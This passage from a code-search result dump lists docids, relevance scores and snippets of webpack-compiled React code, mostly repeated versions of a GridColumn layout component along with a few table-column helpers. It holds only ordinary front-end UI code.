Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n return react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(ElementType, _babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0___default()({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "734fb9779e4cbd702f302aebac0d6209", "score": "0.6224992", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = classnames__WEBPACK_IMPORTED_MODULE_1___default()(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n return react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(ElementType, _babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0___default()({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "a3f658bb44c35bc433ab21ea1e559ed2", "score": "0.6211814", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = Object(clsx__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n return (\n /*#__PURE__*/\n react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(ElementType, Object(_babel_runtime_helpers_esm_extends__WEBPACK_IMPORTED_MODULE_0__[\"default\"])({}, rest, {\n className: classes\n }), children)\n );\n}", "title": "" }, { "docid": "22eef6e65c49a85eaf38df351c2a1e44", "score": "0.62100583", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = classnames__WEBPACK_IMPORTED_MODULE_1___default()(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n\n return react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(\n ElementType,\n babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0___default()({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "e193b625ef9d38579a4e56217fa78806", "score": "0.62088233", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = Object(clsx__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(ElementType, Object(_babel_runtime_helpers_esm_extends__WEBPACK_IMPORTED_MODULE_0__[\"default\"])({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "e193b625ef9d38579a4e56217fa78806", "score": "0.62088233", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = Object(clsx__WEBPACK_IMPORTED_MODULE_1__[\"default\"])(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(ElementType, Object(_babel_runtime_helpers_esm_extends__WEBPACK_IMPORTED_MODULE_0__[\"default\"])({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "da5c7f42a1d1d6aadf4de96e58d39b17", "score": "0.61840725", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"u\" /* useKeyOnly */])(stretched, 'stretched'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"w\" /* useOnlyProp */])(only, 'only'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"x\" /* useTextAlignProp */])(textAlign), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"y\" /* useValueAndKey */])(floated, 'floated'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"z\" /* useVerticalAlignProp */])(verticalAlign), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useWidthProp */])(computer, 'wide computer'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useWidthProp */])(largeScreen, 'wide large screen'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useWidthProp */])(mobile, 'wide mobile'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useWidthProp */])(tablet, 'wide tablet'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useWidthProp */])(widescreen, 'wide widescreen'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"n\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"m\" /* getElementType */])(GridColumn, props);\n\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "161cd0fe790ec9a04fc49c26e4f1b2f3", "score": "0.6182346", "text": "renderTableHeader() {\n return this.props.columns.map((item, index) => <th key={`th${index}`}>{item.text}</th>);\n }", "title": "" }, { "docid": "73cee478733f3b192d6b440dc371f19e", "score": "0.6117542", "text": "getColumns() {\n return [{\n header: 'First Name',\n accessor: 'first_name',\n headerClassName: 'header',\n }, {\n header: 'Last Name',\n accessor: 'last_name',\n headerClassName: 'header',\n }, {\n header: 'Username',\n accessor: 'username',\n className: 'username',\n headerClassName: 'header',\n }, {\n header: 'Email',\n accessor: 'email',\n minWidth: 200,\n className: 'email-text',\n headerClassName: 'header',\n }, {\n header: '',\n accessor: 'id',\n render: row => (\n this.getDeleteCell(row.value)\n ),\n maxWidth: 50,\n sortable: false,\n hideFilter: true,\n headerClassName: 'header',\n }]\n }", "title": "" }, { "docid": "fee0d48238f721e75ce3e5ab2dc41009", "score": "0.60809743", "text": "columnTemplate(col) {\n // console.log(col);\n return (rowData, column) => {\n let pk = rowData[this.props.actorData.pk_index];\n let cellIndex = column.cellIndex;\n let {editingCellIndex, editingPK} = this.state;\n // let editing = pk == editingPK && cellIndex == editingCellIndex;\n const prop_bundle = {\n actorId: this.get_full_id(),\n actorData: this.props.actorData,\n data: (pk === null && this.state.editingPK === null) ? this.state.editingValues : rowData,\n disabled_fields: this.state.disabled_fields || [],\n update_value: this.update_col_value, // No editable yet\n editing_mode: false,\n hide_label: true,\n in_grid: true,\n column: column,\n match: this.props.match,\n container: this.dataTable && this.dataTable.table,\n mk: this.props.mk,\n mt: this.props.mt,\n };\n return <LinoLayout {...prop_bundle} elem={col}/>;\n }\n }", "title": "" }, { "docid": "d0fb44c2336a1c743f8ee9e3fc829b42", "score": "0.6077015", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"a\" /* useKeyOnly */])(stretched, 'stretched'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"s\" /* useMultipleProp */])(only, 'only'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"n\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"i\" /* useValueAndKey */])(floated, 'floated'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"k\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(computer, 'wide computer'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(largeScreen, 'wide large screen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(mobile, 'wide mobile'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(tablet, 'wide tablet'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(widescreen, 'wide widescreen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"b\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"c\" /* getElementType */])(GridColumn, props);\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(ElementType, __WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_extends___default()({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "c4b4298b8efc3ad8c3d700a8bbf63526", "score": "0.6063642", "text": "renderColumns() {\n const { item } = this.props;\n let ValuesArray = _.values(item);\n return ValuesArray.map((value, index) => {\n return <td key={index}>{this.renderElementType(value, index)}</td>;\n });\n }", "title": "" }, { "docid": "3fef0835a93798a6fae83073da4450b3", "score": "0.60467976", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"a\" /* useKeyOnly */])(stretched, 'stretched'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"s\" /* useMultipleProp */])(only, 'only'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"m\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"h\" /* useValueAndKey */])(floated, 'floated'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"j\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(computer, 'wide computer'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(largeScreen, 'wide large screen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(mobile, 'wide mobile'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(tablet, 'wide tablet'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(widescreen, 'wide widescreen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"g\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"b\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"c\" /* getElementType */])(GridColumn, props);\n\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "0507ab9bb4912964253b0c3e4c7eac78", "score": "0.60461897", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"a\" /* useKeyOnly */])(stretched, 'stretched'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useOnlyProp */])(only, 'only'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"x\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"h\" /* useValueAndKey */])(floated, 'floated'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"k\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(computer, 'wide computer'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(largeScreen, 'wide large screen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(mobile, 'wide mobile'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(tablet, 'wide tablet'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(widescreen, 'wide widescreen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"b\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"c\" /* getElementType */])(GridColumn, props);\n\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "0507ab9bb4912964253b0c3e4c7eac78", "score": "0.60461897", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"a\" /* useKeyOnly */])(stretched, 'stretched'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useOnlyProp */])(only, 'only'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"x\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"h\" /* useValueAndKey */])(floated, 'floated'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"k\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(computer, 'wide computer'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(largeScreen, 'wide large screen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(mobile, 'wide mobile'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(tablet, 'wide tablet'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(widescreen, 'wide widescreen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"b\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"c\" /* getElementType */])(GridColumn, props);\n\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "0507ab9bb4912964253b0c3e4c7eac78", "score": "0.60461897", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"a\" /* useKeyOnly */])(stretched, 'stretched'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useOnlyProp */])(only, 'only'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"x\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"h\" /* useValueAndKey */])(floated, 'floated'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"k\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(computer, 'wide computer'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(largeScreen, 'wide large screen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(mobile, 'wide mobile'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(tablet, 'wide tablet'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(widescreen, 'wide widescreen'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"f\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"b\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__lib__[\"c\" /* getElementType */])(GridColumn, props);\n\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "bba3bd566f354b23c331b1d1cd335fea", "score": "0.6014677", "text": "get _columns() {\n const { screen } = this.props\n if (Constants.IS_TABLET) {\n return screen.isLandscape ? 7 : 5\n }\n return screen.isLandscape ? 6 : 4\n }", "title": "" }, { "docid": "aa04b81ed14fb8e4f38dab8a56f94243", "score": "0.5925109", "text": "getColumns(){\n return this.columns;\n }", "title": "" }, { "docid": "3b8cbfb40c2e9fec6f976621a7a242b8", "score": "0.58787686", "text": "get columns() {\n var _a;\n return (_a = column.visibleColumnsBySideWithRowHeader.R).slice.apply(_a, this.colRange);\n }", "title": "" }, { "docid": "a18a74ac658270dea9008d977e228ebe", "score": "0.5858857", "text": "getColumns(){\n \treturn this.columns;\n }", "title": "" }, { "docid": "82e020f1ffb3b7e653affbfa26a8f764", "score": "0.58486754", "text": "set columns(value) {\n this._columns = [...value];\n this._columns.forEach(column => {\n column.label = column.label || column.property;\n if (column.freeze === true) {\n column.cssWidth = `${column.width || 100}px`;\n }\n else {\n column.cssWidth = column.width ? `${column.width}px` : '100%';\n }\n });\n }", "title": "" }, { "docid": "be15b9f49885ccf7c007cef466c89cef", "score": "0.58475965", "text": "@autobind\n getListActionsColumn(){\n return {\n Header: i18n(messages.actions),\n className: 'actions-column',\n width: 70,\n filterable: false,\n sortable: false,\n Cell: row => <div className=\"action-buttons pull-right\">\n {this.getListRowActions().map((action, i) => {\n let enabled = true;\n if(action.hasOwnProperty('accessCallback'))\n {\n enabled = action.accessCallback(row.original);\n }\n return (\n <button\n key={i}\n className={classNames(\"btn btn-sm action-\"+action.name, action.className)}\n onClick={() => {\n if(!action.callback){\n throw new Error('Action callback not set');\n }\n action.callback(row.original);\n }}\n disabled={!enabled}\n title={action.title}\n data-index={row.index} />\n )\n })}\n </div>\n }\n }", "title": "" }, { "docid": "06867f5340d861b06addc85d7311f338", "score": "0.5834587", "text": "get columns () {\n return ['SC', '1', 